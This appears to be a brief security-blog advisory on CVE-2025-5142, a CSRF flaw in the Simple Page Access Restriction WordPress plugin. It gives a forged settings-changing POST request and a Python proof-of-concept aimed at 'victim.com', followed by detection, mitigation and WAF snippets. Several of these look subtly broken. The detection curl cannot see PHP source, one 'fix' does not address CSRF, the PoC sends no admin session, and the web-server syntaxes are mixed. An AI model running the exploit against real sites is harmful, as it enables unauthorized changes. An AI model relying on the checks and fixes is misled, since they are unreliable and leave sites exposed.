How CVE-2025-5142 Works
The vulnerability in Simple Page Access Restriction plugin (≤1.0.31) stems from missing nonce validation and capability checks in settings.php. Attackers craft malicious CSRF requests to manipulate plugin settings without authentication. By tricking an admin into clicking a link, attackers can:
1. Override post/taxonomy access controls.
2. Force all new content visibility (public/private).
3. Trigger data deletion upon plugin uninstallation.
4. Redirect users via manipulated URLs.
The lack of CSRF tokens allows forged requests to execute as the admin, exploiting the plugin’s privileged functions.

What Undercode Say:
Exploitation
POST /wp-admin/options-general.php?page=spar-settings HTTP/1.1 Host: victim.com Content-Type: application/x-www-form-urlencoded Cookie: [bash] spar_global_enable=1&spar_default_private=1&action=update
Detection
curl -kLs "https://site.com/wp-content/plugins/simple-page-access-restriction/settings.php" | grep -q "nonce" || echo "Vulnerable"
Mitigation
1. Temporary Fix:
// Add to wp-config.php
define('DISALLOW_FILE_EDIT', true);
2. .htaccess Rule:
<Files "settings.php"> Require all denied </Files>
3. Patch Check:
wp plugin update simple-page-access-restriction --dry-run
Analysis
import requests
target = "http://victim.com/wp-admin/admin-ajax.php"
payload = {"action": "spar_save_settings", "data": "malicious"}
response = requests.post(target, data=payload)
if response.status_code == 200 and "success" in response.text:
print("CSRF Exploit Successful")
Log Monitoring
tail -f /var/log/apache2/access.log | grep 'POST.spar-settings'
WAF Rule
location ~ /wp-content/plugins/simple-page-access-restriction/ {
if ($request_method = POST) { return 403; }
}
